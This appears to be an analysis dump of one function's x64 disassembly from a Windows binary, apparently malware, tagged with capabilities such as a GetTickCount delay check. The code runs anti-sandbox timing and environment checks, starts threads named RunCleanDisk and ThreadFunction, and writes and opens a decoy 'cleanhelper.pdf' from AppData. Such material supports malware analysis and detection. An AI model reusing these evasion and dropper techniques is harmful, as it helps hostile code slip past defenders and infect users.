Function at 0x140004590
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor r14d, r14d
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], 0xf
lea ecx, [r14 + 0x20]
call fcn.140036ad8
mov rdx, rax
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x39], 0x1b
mov qword [rbp - 0x31], 0x1f
movups xmm0, xmmword [str.if_check_compatability____]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140071e28]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140071e30]
mov word [rax + 0x18], cx
movzx eax, byte [0x140071e32]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], r14b
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x140004651
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000464c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d88
call fcn.140036ad0
call fcn.14000d0f0
test al, al
je 0x140004d48
call fcn.14000e110
test al, al
je 0x140004d48
call fcn.14000f110
test al, al
je 0x140004d48
call fcn.14000fdc0
test al, al
je 0x140004d48
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x20
call fcn.140036ad8
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x12
mov qword [rbp - 0x11], 0x1f
movups xmm0, xmmword [str.if__isForward____]
movups xmmword [rax], xmm0
movzx ecx, word [0x140071e48]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x14000470a
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d8e
call fcn.140036ad0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
call fcn.140010f04
mov rbx, rax
call fcn.140010ee8
cmp rbx, 0x989680
jne 0x14000472e
imul rcx, rax, 0x64
jmp 0x140004749
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rcx, rax
movabs rax, 0x7fffffffc46535ff
movabs r15, 0x7fffffffffffffff
cmp rcx, rax
jge 0x14000476f
add rcx, 0x3b9aca00
mov qword [rbp + 0x77], rcx
jmp 0x140004773
mov qword [rbp + 0x77], r15
lea rcx, [rbp + 0x77]
call fcn.14000cb70
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x1f4
jae 0x140004797
lea rdx, str.Good_luck_
jmp 0x140004d4f
call fcn.14000d0f0
test al, al
je 0x1400047bb
call fcn.14000e110
test al, al
je 0x1400047bb
call fcn.14000f110
test al, al
je 0x1400047bb
call fcn.14000fdc0
test al, al
jne 0x1400047d6
lea rdx, str.Not_compatable_
lea rcx, [0x140081060]
call fcn.14000a870
mov rcx, rax
call fcn.14000a7d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x50
call fcn.140036ad8
mov rcx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x47
mov qword [rbp - 0x11], 0x4f
movaps xmm0, xmmword [str.HANDLE_threadHandle__CreateThread_NULL__0__ThreadFunction__0__0__NULL_]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140071e90]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140071ea0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140071eb0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x140071ec0]
mov dword [rcx + 0x40], eax
movzx eax, word [0x140071ec4]
mov word [rcx + 0x44], ax
movzx eax, byte [0x140071ec6]
mov byte [rcx + 0x46], al
mov byte [rcx + 0x47], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x140004892
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000488d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d94
call fcn.140036ad0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x1400032c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000d0f0
test al, al
je 0x1400048dd
call fcn.14000e110
test al, al
je 0x1400048dd
call fcn.14000f110
test al, al
je 0x1400048dd
call fcn.14000fdc0
test al, al
jne 0x1400048f8
lea rdx, str.Not_compatable_
lea rcx, [0x140081060]
call fcn.14000a870
mov rcx, rax
call fcn.14000a7d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x40
call fcn.140036ad8
mov rcx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x3e
mov qword [rbp - 0x11], 0x3f
movups xmm0, xmmword [str.threadHandle__CreateThread_NULL__0__RunCleanDisk__0__0__NULL_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140071ed8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140071ee8]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140071ef8]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x140071f00]
mov dword [rcx + 0x38], eax
movzx eax, word [0x140071f04]
mov word [rcx + 0x3c], ax
mov byte [rcx + 0x3e], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x1400049ac
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d9a
call fcn.140036ad0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140003920]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000d0f0
test al, al
je 0x1400049f7
call fcn.14000e110
test al, al
je 0x1400049f7
call fcn.14000f110
test al, al
je 0x1400049f7
call fcn.14000fdc0
test al, al
jne 0x140004a12
lea rdx, str.Not_compatable_
lea rcx, [0x140081060]
call fcn.14000a870
mov rcx, rax
call fcn.14000a7d0
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
mov qword [rbp + 7], r14
mov qword [rbp + 0xf], 0xf
mov byte [rbp - 9], 0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x20
call fcn.140036ad8
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x16
mov qword [rbp - 0x11], 0x1f
movups xmm0, xmmword [str.resorce_to_file_PDF...]
movups xmmword [rax], xmm0
mov ecx, dword [0x140071f18]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140071f1c]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x140004ab4
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004aaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004da0
call fcn.140036ad0
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x30
call fcn.140036ad8
mov rdx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x2f
mov qword [rbp - 0x11], 0x2f
movups xmm0, xmmword [str...LocalMicrosoftWindowsAppscleanhelper.pdf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140071f30]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140071f40]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140071f48]
mov dword [rdx + 0x28], eax
movzx eax, word [0x140071f4c]
mov word [rdx + 0x2c], ax
movzx eax, byte [0x140071f4e]
mov byte [rdx + 0x2e], al
mov byte [rdx + 0x2f], 0
lea r8, [rbp - 9]
lea rdx, [rbp - 0x29]
mov ecx, 0xfd
call fcn.1400025a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], 0xf
mov ecx, 0x30
call fcn.140036ad8
mov rcx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], 0x2f
mov qword [rbp - 0x11], 0x2f
movups xmm0, xmmword [str...LocalMicrosoftWindowsAppscleanhelper.pdf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140071f30]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140071f40]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140071f48]
mov dword [rcx + 0x28], eax
movzx eax, word [0x140071f4c]
mov word [rcx + 0x2c], ax
movzx eax, byte [0x140071f4e]
mov byte [rcx + 0x2e], al
mov byte [rcx + 0x2f], 0
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x49]
call fcn.140002430
nop
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae r8, qword [rbp - 0x49]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov rsi, 0xffffffffffffffff
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.140036b14
mov rdi, rax
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae r8, qword [rbp - 0x49]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rdi
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140010f04
mov rbx, rax
call fcn.140010ee8
cmp rbx, 0x989680
jne 0x140004c79
imul rax, rax, 0x64
jmp 0x140004c94
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffb16b6eb0ffff
cmp rax, rcx
jge 0x140004cb6
movabs rcx, 0x4e94914f0000
add rcx, rax
mov qword [rbp + 0x77], rcx
jmp 0x140004cba
mov qword [rbp + 0x77], r15
lea rcx, [rbp + 0x77]
call fcn.14000cb70
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x140004cff
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004da6
call fcn.140036ad0
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], 0xf
mov byte [rbp - 0x49], 0
mov rdx, qword [rbp + 0xf]
cmp rdx, 0x10
jb 0x140004d63
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d82
call fcn.140036ad0
jmp 0x140004d63
lea rdx, str.All_good._Exit.
lea rcx, [0x140081060]
call fcn.14000a870
mov rcx, rax
call fcn.14000a7d0
xor eax, eax
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140042a44
int3
call fcn.140042a44
int3
call fcn.140042a44
int3
call fcn.140042a44
int3
call fcn.140042a44
nop
call fcn.140042a44
nop
call fcn.140042a44
int3